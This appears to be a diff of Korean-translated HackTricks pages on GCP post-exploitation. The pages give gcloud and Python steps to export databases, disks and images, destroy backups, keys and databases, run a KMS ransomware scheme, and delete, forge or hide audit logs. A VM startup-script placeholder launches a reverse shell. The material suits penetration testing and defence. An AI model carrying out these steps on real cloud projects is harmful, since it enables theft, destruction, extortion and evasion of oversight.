<summary>자신의 IP를 허용하고 데이터베이스에 연결</summary>
|
||||
```bash
|
||||
# Use --assign-ip to make the database get a public IPv4
|
||||
gcloud sql instances patch $INSTANCE_NAME \
|
||||
@@ -25,61 +29,111 @@ mysql -h <ip_db> # If mysql
|
||||
# With cloudsql.instances.get you can use gcloud directly
|
||||
gcloud sql connect mysql --user=root --quiet
|
||||
```
|
||||
**`--no-backup`**를 사용하여 데이터베이스의 **백업을 중단**할 수도 있습니다.
|
||||
</details>
|
||||
|
||||
이것이 요구 사항이므로 **`cloudsql.instances.connect`** 및 **`cloudsql.instances.login`**의 권한이 무엇인지 확실하지 않습니다. 아는 분은 PR을 보내주세요!
|
||||
데이터베이스 백업을 **중단**하기 위해 **`--no-backup`**을(를) 사용할 수도 있습니다.
|
||||
|
||||
이 요구사항들로는 **`cloudsql.instances.connect`**와 **`cloudsql.instances.login`** 권한이 정확히 어떤 용도인지 완전히 확신하지 못합니다. 아시면 PR을 보내주세요!
|
||||
|
||||
### `cloudsql.users.list`
|
||||
|
||||
데이터베이스의 **모든 사용자 목록**을 가져옵니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>데이터베이스 사용자 목록</summary>
|
||||
```bash
|
||||
gcloud sql users list --instance <intance-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.users.create`
|
||||
|
||||
이 권한은 **데이터베이스 내에 새로운 사용자를 생성**할 수 있게 해줍니다:
|
||||
이 권한은 **데이터베이스 내부에 새 사용자를 생성할 수 있게** 합니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>데이터베이스 사용자 생성</summary>
|
||||
```bash
|
||||
gcloud sql users create <username> --instance <instance-name> --password <password>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.users.update`
|
||||
|
||||
이 권한은 데이터베이스 내에서 **사용자를 업데이트**할 수 있게 해줍니다. 예를 들어, 비밀번호를 변경할 수 있습니다:
|
||||
이 권한은 데이터베이스 내부의 사용자를 **업데이트할** 수 있게 해줍니다. 예를 들어, 비밀번호를 변경할 수 있습니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>사용자 비밀번호 변경</summary>
|
||||
```bash
|
||||
gcloud sql users set-password <username> --instance <instance-name> --password <password>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.instances.restoreBackup`, `cloudsql.backupRuns.get`
|
||||
|
||||
백업에는 **오래된 민감한 정보**가 포함될 수 있으므로 확인하는 것이 흥미롭습니다.\
|
||||
**데이터베이스 내에서 백업 복원**:
|
||||
백업에는 **오래된 민감한 정보**가 포함될 수 있으므로 확인해보는 것이 흥미롭습니다.\
|
||||
데이터베이스 내부에서 **백업을 복원**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>데이터베이스 백업 복원</summary>
|
||||
```bash
|
||||
gcloud sql backups restore <backup-id> --restore-instance <instance-id>
|
||||
```
|
||||
더 은밀하게 수행하기 위해서는 현재 실행 중인 데이터베이스 대신 새 SQL 인스턴스를 생성하고 그곳에서 데이터를 복구하는 것이 권장됩니다.
|
||||
</details>
|
||||
|
||||
보다 은밀한 방식으로 수행하려면 현재 실행 중인 데이터베이스에서 복구하는 대신 새 SQL 인스턴스를 생성하고 그곳에서 데이터를 복원하는 것이 권장됩니다.
|
||||
|
||||
### `cloudsql.backupRuns.delete`
|
||||
|
||||
이 권한은 백업을 삭제할 수 있습니다:
|
||||
이 권한은 백업을 삭제할 수 있도록 허용합니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>백업 삭제</summary>
|
||||
```bash
|
||||
gcloud sql backups delete <backup-id> --instance <instance-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.instances.export`, `storage.objects.create`
|
||||
|
||||
**데이터베이스를** Cloud Storage Bucket에 내보내서 거기에서 접근할 수 있도록 합니다:
|
||||
**데이터베이스 내보내기**: Cloud Storage Bucket으로 내보내어 거기에서 액세스할 수 있습니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>버킷으로 데이터베이스 내보내기</summary>
|
||||
```bash
|
||||
# Export sql format, it could also be csv and bak
|
||||
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.instances.import`, `storage.objects.get`
|
||||
|
||||
**Cloud Storage 버킷에서 데이터베이스 가져오기** (덮어쓰기):
|
||||
**데이터베이스 가져오기** (덮어쓰기) Cloud Storage Bucket에서:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>버킷에서 데이터베이스 가져오기</summary>
|
||||
```bash
|
||||
# Import format SQL, you could also import formats bak and csv
|
||||
gcloud sql import sql <instance-id> <gs://bucketName/fileName>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.databases.delete`
|
||||
|
||||
DB 인스턴스에서 데이터베이스를 삭제합니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>데이터베이스 삭제</summary>
|
||||
```bash
|
||||
gcloud sql databases delete <db-name> --instance <instance-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,37 +4,47 @@
|
||||
|
||||
## Compute
|
||||
|
||||
Compute 및 VPC (네트워킹)에 대한 자세한 정보는 다음을 확인하세요:
|
||||
Compute와 VPC (Networking)에 대한 자세한 내용은 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-compute-instances-enum/
|
||||
{{#endref}}
|
||||
|
||||
### 이미지를 로컬로 내보내고 검사하기
|
||||
### 이미지 로컬로 내보내기 및 검사
|
||||
|
||||
이것은 공격자가 **이미 존재하는 이미지에 포함된 데이터에 접근**하거나 **실행 중인 VM의 새로운 이미지를 생성**하고 실행 중인 VM에 접근하지 않고도 그들의 데이터에 접근할 수 있게 합니다.
|
||||
이를 통해 공격자는 **이미 존재하는 이미지에 포함된 데이터에 접근**하거나 **실행 중인 VM의 새로운 이미지를 생성**하여 실행 중인 VM에 직접 접근하지 않고도 해당 데이터에 접근할 수 있습니다.
|
||||
|
||||
VM 이미지를 버킷으로 내보낸 다음, 다음 명령어로 다운로드하고 로컬에 마운트할 수 있습니다:
|
||||
VM 이미지를 bucket으로 내보내고 다운로드한 뒤 다음 명령어로 로컬에 마운트할 수 있습니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>VM 이미지 내보내기 및 다운로드</summary>
|
||||
```bash
|
||||
gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
|
||||
# The download the export from the bucket and mount it locally
|
||||
```
|
||||
공격자가 이 작업을 수행하기 위해서는 스토리지 버킷에 대한 권한이 필요할 수 있으며, **export를 수행할 요청을 받을 서비스**인 **cloudbuild**에 대한 권한도 필요합니다.\
|
||||
또한, 이를 위해 codebuild SA와 compute SA는 특권 권한이 필요합니다.\
|
||||
cloudbuild SA `<project-id>@cloudbuild.gserviceaccount.com`는 다음이 필요합니다:
|
||||
</details>
|
||||
|
||||
이 작업을 수행하려면 공격자가 storage bucket에 대한 권한이 필요할 수 있으며, 확실히 **cloudbuild에 대한 권한**이 필요합니다. 왜냐하면 export를 수행하도록 요청받을 **service**가 바로 cloudbuild이기 때문입니다.\
|
||||
또한, 이것이 작동하려면 codebuild SA와 compute SA에 특권 권한이 필요합니다.\
|
||||
cloudbuild SA `<project-id>@cloudbuild.gserviceaccount.com` 에게 필요한 권한:
|
||||
|
||||
- roles/iam.serviceAccountTokenCreator
|
||||
- roles/compute.admin
|
||||
- roles/iam.serviceAccountUser
|
||||
|
||||
그리고 SA `<project-id>-compute@developer.gserviceaccount.com`는 다음이 필요합니다:
|
||||
그리고 SA `<project-id>-compute@developer.gserviceaccount.com` 에게 필요한 권한:
|
||||
|
||||
- roles/compute.storageAdmin
|
||||
- oles/compute.storageAdmin
|
||||
- roles/storage.objectAdmin
|
||||
|
||||
### 로컬에서 스냅샷 및 디스크 내보내기 및 검사
|
||||
### Export & Inspect Snapshots & Disks locally
|
||||
|
||||
스냅샷과 디스크를 직접 내보내는 것은 불가능하지만, **스냅샷을 디스크로, 디스크를 이미지로 변환**하고 **이전 섹션**에 따라 해당 이미지를 내보내어 로컬에서 검사하는 것은 가능합니다.
|
||||
snapshot과 disk를 직접 내보내는 것은 불가능하지만, **snapshot을 disk로, disk를 image로 변환**한 다음 **이전 섹션**에 따라 해당 이미지를 내보내 로컬에서 검사할 수 있습니다
|
||||
|
||||
<details>
|
||||
|
||||
<summary>snapshot에서 disk 생성하고 disk에서 image 생성</summary>
|
||||
```bash
|
||||
# Create a Disk from a snapshot
|
||||
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]
|
||||
@@ -42,65 +52,115 @@ gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --
|
||||
# Create an image from a disk
|
||||
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]
|
||||
```
|
||||
### VM 생성 시 이미지 검사
|
||||
</details>
|
||||
|
||||
**이미지에 저장된 데이터** 또는 **공격자가 이미지를 생성한 실행 중인 VM** 내부에 접근하는 것을 목표로 하여, 외부 계정이 이미지에 접근할 수 있도록 권한을 부여하는 것이 가능합니다:
|
||||
### Image로 VM 생성 검사
|
||||
|
||||
공격자가 **이미지를 생성한** 위치에 있는 **image에 저장된 데이터** 또는 **실행 중인 VM** 내부의 데이터에 접근하려는 목적이라면, 외부 계정에 해당 image에 대한 접근 권한을 부여할 수 있습니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>image에 접근 권한 부여 및 VM 생성</summary>
|
||||
```bash
|
||||
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
|
||||
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
|
||||
--role='roles/compute.imageUser'
|
||||
```
|
||||
그런 다음 이를 기반으로 새 VM을 생성합니다:
|
||||
</details>
|
||||
|
||||
그리고 나서 그 이미지에서 새 VM을 생성합니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>이미지에서 VM instance 생성</summary>
|
||||
```bash
|
||||
gcloud compute instances create [INSTANCE_NAME] \
|
||||
--project=[TARGET_PROJECT_ID] \
|
||||
--zone=[ZONE] \
|
||||
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]
|
||||
```
|
||||
이미지에 대한 외부 계정 액세스를 제공할 수 없는 경우, 피해자의 프로젝트에서 해당 이미지를 사용하여 VM을 시작하고 **메타데이터가 리버스 셸을 실행하도록 만들 수 있습니다**. 매개변수를 추가하여:
|
||||
</details>
|
||||
|
||||
외부 계정에 image에 대한 접근 권한을 부여할 수 없다면, 피해자 프로젝트에서 해당 image로 VM을 실행하고 **metadata가 reverse shell을 실행하도록** 하여 image에 접근할 수 있습니다. param을 추가하세요:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>metadata에 reverse shell을 담은 VM 생성</summary>
|
||||
```bash
|
||||
--metadata startup-script='#! /bin/bash
|
||||
echo "hello"; <reverse shell>'
|
||||
```
|
||||
### VM에 스냅샷/디스크 연결 검사
|
||||
</details>
|
||||
|
||||
**디스크나 스냅샷에 저장된 데이터에 접근하는 것을 목표로, 스냅샷을 디스크로, 디스크를 이미지로 변환하고 이전 단계를 따를 수 있습니다.**
|
||||
### VM에 연결하여 Snapshot/Disk 검사
|
||||
|
||||
또는 **외부 계정에 디스크에 대한 접근 권한을 부여할 수 있습니다** (시작점이 스냅샷인 경우 스냅샷에 대한 접근 권한을 부여하거나 그로부터 디스크를 생성합니다):
|
||||
**디스크 또는 snapshot에 저장된 데이터에 접근하기 위해, snapshot을 disk로 변환하거나 disk를 image로 변환한 다음 이전 단계를 따르면 됩니다.**
|
||||
|
||||
또는 disk에 대해 **외부 계정에 접근 권한을 부여할 수 있습니다** (시작점이 snapshot인 경우 snapshot에 권한을 부여하거나 snapshot에서 disk를 생성하세요):
|
||||
|
||||
<details>
|
||||
|
||||
<summary>disk에 대한 접근 권한 부여</summary>
|
||||
```bash
|
||||
gcloud projects add-iam-policy-binding [PROJECT_ID] \
|
||||
--member='user:[USER_EMAIL]' \
|
||||
--role='roles/compute.storageAdmin'
|
||||
```
|
||||
**인스턴스에 디스크 연결**:
|
||||
</details>
|
||||
|
||||
**디스크를 인스턴스에 연결**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>인스턴스에 디스크 연결</summary>
|
||||
```bash
|
||||
gcloud compute instances attach-disk [INSTANCE_NAME] \
|
||||
--disk [DISK_NAME] \
|
||||
--zone [ZONE]
|
||||
```
|
||||
</details>
|
||||
|
||||
VM 내부에 디스크를 마운트합니다:
|
||||
|
||||
1. **VM에 SSH 접속**:
|
||||
1. **VM에 SSH로 접속**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>SSH로 VM에 접속하고 디스크 마운트</summary>
|
||||
|
||||
```sh
|
||||
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
|
||||
```
|
||||
|
||||
2. **디스크 식별**: VM 내부에 들어가면 디스크 장치를 나열하여 새 디스크를 식별합니다. 일반적으로 `/dev/sdb`, `/dev/sdc` 등으로 찾을 수 있습니다.
|
||||
3. **디스크 포맷 및 마운트** (새 디스크 또는 원시 디스크인 경우):
|
||||
</details>
|
||||
|
||||
- 마운트 포인트 생성:
|
||||
2. **디스크 식별**: VM에 접속한 후, 디스크 장치를 나열하여 새 디스크를 확인합니다. 일반적으로 `/dev/sdb`, `/dev/sdc` 등으로 나타납니다.
|
||||
3. **디스크 포맷 및 마운트** (새 디스크이거나 raw인 경우):
|
||||
|
||||
- 마운트 지점 생성:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>마운트 지점 생성 및 마운트</summary>
|
||||
|
||||
```sh
|
||||
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
- 디스크 마운트:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>디스크 장치 마운트</summary>
|
||||
|
||||
```sh
|
||||
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
|
||||
```
|
||||
|
||||
**스냅샷 또는 디스크에 외부 프로젝트에 대한 액세스를 제공할 수 없는 경우**, **스냅샷/디스크와 동일한 프로젝트 내의 인스턴스에서 이러한 작업을 수행해야 할 수 있습니다**.
|
||||
</details>
|
||||
|
||||
스냅샷이나 디스크에 **외부 프로젝트에 접근 권한을 줄 수 없는 경우**, 스냅샷/디스크가 있는 **동일한 프로젝트의 인스턴스 내부에서 이 작업을 수행해야 할 수 있습니다**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,9 +10,13 @@ Filestore에 대한 자세한 정보는 다음을 확인하세요:
|
||||
../gcp-services/gcp-filestore-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Mount Filestore
|
||||
### Filestore 마운트
|
||||
|
||||
공유 파일 시스템은 **공격자 관점에서 흥미로운 민감한 정보를 포함할 수 있습니다**. Filestore에 접근하면 **마운트할 수 있습니다**:
|
||||
공유 파일시스템은 attackers의 관점에서 흥미로운 **민감한 정보를 포함하고 있을 수 있습니다**. Filestore에 접근할 수 있다면 이를 **마운트할 수 있습니다**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Filestore 파일시스템 마운트</summary>
|
||||
```bash
|
||||
sudo apt-get update
|
||||
sudo apt-get install nfs-common
|
||||
@@ -22,15 +26,21 @@ showmount -e <IP>
|
||||
mkdir /mnt/fs
|
||||
sudo mount [FILESTORE_IP]:/[FILE_SHARE_NAME] /mnt/fs
|
||||
```
|
||||
필스토어 인스턴스의 IP 주소를 찾으려면 페이지의 열거 섹션을 확인하세요:
|
||||
</details>
|
||||
|
||||
Filestore 인스턴스의 IP 주소를 찾으려면 페이지의 enumeration 섹션을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-filestore-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### 제한 제거 및 추가 권한 얻기
|
||||
### 제한 제거 및 추가 권한 획득
|
||||
|
||||
공격자가 공유에 대한 액세스 권한이 있는 IP 주소에 있지 않지만 이를 수정할 수 있는 충분한 권한이 있는 경우, 제한을 제거하거나 이에 대한 액세스를 얻는 것이 가능합니다. 또한, 공유에 대한 관리자 액세스를 얻기 위해 IP 주소에 더 많은 권한을 부여하는 것도 가능합니다:
|
||||
공격자가 해당 공유에 접근 가능한 IP에 있지 않지만, 이를 수정할 충분한 권한이 있다면 제한을 제거하거나 접근을 허용할 수 있습니다. 또한 자신의 IP에 대해 더 많은 권한을 부여하여 공유에 대한 관리자 접근을 얻을 수도 있습니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Filestore 인스턴스를 업데이트하여 접근 허용</summary>
|
||||
```bash
|
||||
gcloud filestore instances update nfstest \
|
||||
--zone=<exact-zone> \
|
||||
@@ -56,9 +66,15 @@ gcloud filestore instances update nfstest \
|
||||
}
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
### 백업 복원
|
||||
|
||||
백업이 있는 경우 **기존 인스턴스** 또는 **새 인스턴스**에서 **복원할 수** 있어 **정보에 접근할 수 있게 됩니다:**
|
||||
백업이 있을 경우 기존 인스턴스나 새 인스턴스에 **복원**하여 해당 **정보에 접근할 수 있습니다:**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>새 인스턴스 생성 및 백업 복원</summary>
|
||||
```bash
|
||||
# Create a new filestore if you don't want to modify the old one
|
||||
gcloud filestore instances create <new-instance-name> \
|
||||
@@ -76,9 +92,15 @@ gcloud filestore instances restore <new-instance-name> \
|
||||
|
||||
# Follow the previous section commands to mount it
|
||||
```
|
||||
### 백업 생성 및 복원
|
||||
</details>
|
||||
|
||||
공유에 대한 **액세스 권한이 없고 수정하고 싶지 않은 경우**, 이를 **백업**하고 이전에 언급한 대로 **복원**하는 것이 가능합니다:
|
||||
### backup을 생성하고 restore하세요
|
||||
|
||||
만약 **share에 접근 권한이 없고 변경을 원하지 않는다면**, 해당 share의 **backup을 생성**한 후 앞서 언급한 것처럼 **restore**할 수 있습니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>새 instance에서 backup 생성 및 restore</summary>
|
||||
```bash
|
||||
# Create share backup
|
||||
gcloud filestore backups create <back-name> \
|
||||
@@ -89,4 +111,6 @@ gcloud filestore backups create <back-name> \
|
||||
|
||||
# Follow the previous section commands to restore it and mount it
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,27 +1,33 @@
|
||||
# GCP - IAM 포스트 익스플로이테이션
|
||||
# GCP - IAM Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
|
||||
IAM에 대한 추가 정보는 다음에서 확인할 수 있습니다:
|
||||
You can find further information about IAM in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### 관리 콘솔에 대한 액세스 부여 <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
|
||||
### Granting access to management console <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
|
||||
|
||||
[GCP 관리 콘솔](https://console.cloud.google.com)에 대한 액세스는 **서비스 계정이 아닌 사용자 계정에 제공됩니다**. 웹 인터페이스에 로그인하려면 **당신이 제어하는 Google 계정에 액세스를 부여해야 합니다**. 이는 일반적인 "**@gmail.com**" 계정일 수 있으며, **대상 조직의 구성원이 될 필요는 없습니다**.
|
||||
Access to the [GCP management console](https://console.cloud.google.com) is **user accounts에 제공되며, service accounts가 아닙니다**. To log in to the web interface, you can **Google account에 접근 권한을 부여** that you control. This can be a generic "**@gmail.com**" account, it does **타깃 조직의 구성원일 필요는 없습니다**.
|
||||
|
||||
일반 "@gmail.com" 계정에 **소유자**의 기본 역할을 **부여**하려면 **웹 콘솔을 사용해야 합니다**. `gcloud`를 사용하여 편집자 이상의 권한을 부여하려고 하면 오류가 발생합니다.
|
||||
To **grant** the primitive role of **Owner** to a generic "@gmail.com" account, though, you'll need to **use the web console**. `gcloud` will error out if you try to grant it a permission above Editor.
|
||||
|
||||
다음 명령을 사용하여 기존 프로젝트에 **사용자에게 편집자 기본 역할을 부여**할 수 있습니다:
|
||||
You can use the following command to **grant a user the primitive role of Editor** to your existing project:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>사용자에게 Editor 역할 부여</summary>
|
||||
```bash
|
||||
gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor
|
||||
```
|
||||
여기서 성공했다면, **웹 인터페이스에 접근**하고 거기서 탐색해 보세요.
|
||||
</details>
|
||||
|
||||
이것은 **gcloud 도구를 사용하여 할당할 수 있는 가장 높은 수준**입니다.
|
||||
여기서 성공했다면, **웹 인터페이스에 접속**하여 그곳에서 탐색해 보세요.
|
||||
|
||||
이는 gcloud 도구를 사용하여 할당할 수 있는 **가장 높은 권한 수준**입니다.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# GCP - KMS 포스트 익스플로이테이션
|
||||
# GCP - KMS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
KMS에 대한 기본 정보는 다음에서 확인하세요:
|
||||
KMS에 대한 기본 정보는 다음을 참조하세요:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-kms-enum.md
|
||||
@@ -12,7 +12,11 @@ KMS에 대한 기본 정보는 다음에서 확인하세요:
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.destroy`
|
||||
|
||||
이 권한을 가진 공격자는 KMS 버전을 파괴할 수 있습니다. 이를 위해서는 먼저 키를 비활성화한 다음 파괴해야 합니다:
|
||||
이 권한을 가진 공격자는 KMS 버전을 파기할 수 있습니다. 이를 수행하려면 먼저 키를 비활성화한 다음 파기해야 합니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>키 버전 비활성화 및 파기 (Python)</summary>
|
||||
```python
|
||||
# pip install google-cloud-kms
|
||||
|
||||
@@ -57,22 +61,28 @@ disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
# Destroy the key version
|
||||
destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
```
|
||||
### KMS 랜섬웨어
|
||||
</details>
|
||||
|
||||
AWS에서는 KMS 리소스 정책을 수정하여 공격자의 계정만 키를 사용할 수 있도록 함으로써 KMS 키를 완전히 **탈취**하는 것이 가능합니다. GCP에서는 이러한 리소스 정책이 존재하지 않기 때문에 이는 불가능합니다.
|
||||
### KMS Ransomware
|
||||
|
||||
그러나 글로벌 KMS 랜섬웨어를 수행할 수 있는 또 다른 방법이 있으며, 이는 다음 단계를 포함합니다:
|
||||
AWS에서는 KMS 리소스 정책을 수정해 공격자 계정만 키를 사용하도록 허용하면 KMS 키를 완전히 **steal a KMS key** 할 수 있습니다. 이러한 리소스 정책이 GCP에는 존재하지 않기 때문에 이는 불가능합니다.
|
||||
|
||||
- 공격자가 가져온 키 자료로 **키의 새 버전**을 생성합니다.
|
||||
그러나 전역적인 KMS Ransomware를 수행하는 또 다른 방법이 있으며, 다음 단계들을 포함합니다:
|
||||
|
||||
- 공격자가 가져온 **version of the key with a key material**을 새로 생성
|
||||
```bash
|
||||
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
|
||||
```
|
||||
- **기본 버전**으로 설정합니다 (향후 암호화될 데이터에 대해)
|
||||
- 이전 버전으로 암호화된 **구버전 데이터 재암호화**를 새 버전으로 수행합니다.
|
||||
- **KMS 키 삭제**
|
||||
- 이제 원래 키 자료를 가진 공격자만 암호화된 데이터를 복호화할 수 있습니다.
|
||||
- 그것을 **default version**으로 설정합니다 (앞으로 encrypted 될 데이터에 대해)
|
||||
- **Re-encrypt older data**: 이전 버전으로 encrypted된 오래된 데이터를 새 버전으로 다시 encrypted합니다.
|
||||
- **Delete the KMS key**
|
||||
- 이제 원본 key material을 가진 attacker만이 encrypted data를 decrypt할 수 있습니다
|
||||
|
||||
#### 새 버전을 가져오고 이전 데이터를 비활성화/삭제하는 단계는 다음과 같습니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>새 키 버전 가져오기 및 이전 버전 삭제</summary>
|
||||
```bash
|
||||
# Encrypt something with the original key
|
||||
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
|
||||
@@ -146,7 +156,13 @@ gcloud kms keys versions destroy \
|
||||
--version 1
|
||||
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToEncrypt` | `cloudkms.cryptoKeyVersions.useToEncryptViaDelegation`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>대칭 키로 데이터 암호화 (Python)</summary>
|
||||
```python
|
||||
from google.cloud import kms
|
||||
import base64
|
||||
@@ -181,7 +197,13 @@ plaintext = 'your-data-to-encrypt'
|
||||
ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
|
||||
print('Ciphertext:', ciphertext)
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToSign`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>비대칭 키로 메시지 서명 (Python)</summary>
|
||||
```python
|
||||
import hashlib
|
||||
from google.cloud import kms
|
||||
@@ -215,7 +237,13 @@ message = 'your-message'
|
||||
signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message)
|
||||
print('Signature:', signature)
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToVerify`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>비대칭 키로 서명 검증 (Python)</summary>
|
||||
```python
|
||||
from google.cloud import kms
|
||||
import hashlib
|
||||
@@ -242,4 +270,6 @@ return verify_response.success
|
||||
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
|
||||
print('Verified:', verified)
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,13 +4,13 @@
|
||||
|
||||
## 기본 정보
|
||||
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
자세한 내용은 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-logging-enum.md
|
||||
{{#endref}}
|
||||
|
||||
모니터링을 방해하는 다른 방법은 다음을 확인하세요:
|
||||
모니터링을 교란하는 다른 방법은 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
gcp-monitoring-post-exploitation.md
|
||||
@@ -18,13 +18,17 @@ gcp-monitoring-post-exploitation.md
|
||||
|
||||
### 기본 로깅
|
||||
|
||||
**기본적으로 읽기 작업을 수행한다고 해서 잡히지 않습니다. 자세한 정보는 Logging Enum 섹션을 확인하세요.**
|
||||
**기본적으로 단순한 읽기(read) 작업만으로는 탐지되지 않습니다. 자세한 내용은 Logging Enum 섹션을 확인하세요.**
|
||||
|
||||
### 예외 주체 추가
|
||||
### 예외로 지정된 Principal 추가
|
||||
|
||||
[https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) 및 [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit)에서 로그를 생성하지 않도록 주체를 추가할 수 있습니다. 공격자는 이를 악용하여 잡히지 않도록 할 수 있습니다.
|
||||
[https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) 및 [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit)에서 로그를 생성하지 않도록 principal을 추가할 수 있습니다. 공격자는 이를 악용해 탐지를 피할 수 있습니다.
|
||||
|
||||
### 로그 읽기 - `logging.logEntries.list`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>로그 항목 읽기</summary>
|
||||
```bash
|
||||
# Read logs
|
||||
gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json
|
||||
@@ -34,58 +38,124 @@ gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format=
|
||||
|
||||
# Use these options to indicate a different bucket or view to use: --bucket=_Required --view=_Default
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.logs.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>로그 항목 삭제</summary>
|
||||
```bash
|
||||
# Delete all entries from a log in the _Default log bucket - logging.logs.delete
|
||||
gcloud logging logs delete <log-name>
|
||||
```
|
||||
### 로그 작성 - `logging.logEntries.create`
|
||||
</details>
|
||||
|
||||
### 로그 쓰기 - `logging.logEntries.create`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>로그 항목 쓰기</summary>
|
||||
```bash
|
||||
# Write a log entry to try to disrupt some system
|
||||
gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.buckets.update`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>로그 버킷 보존 기간 업데이트</summary>
|
||||
```bash
|
||||
# Set retention period to 1 day (_Required has a fixed one of 400days)
|
||||
|
||||
gcloud logging buckets update bucketlog --location=<location> --description="New description" --retention-days=1
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.buckets.delete`
|
||||
|
||||
<details>
|
||||
|
||||
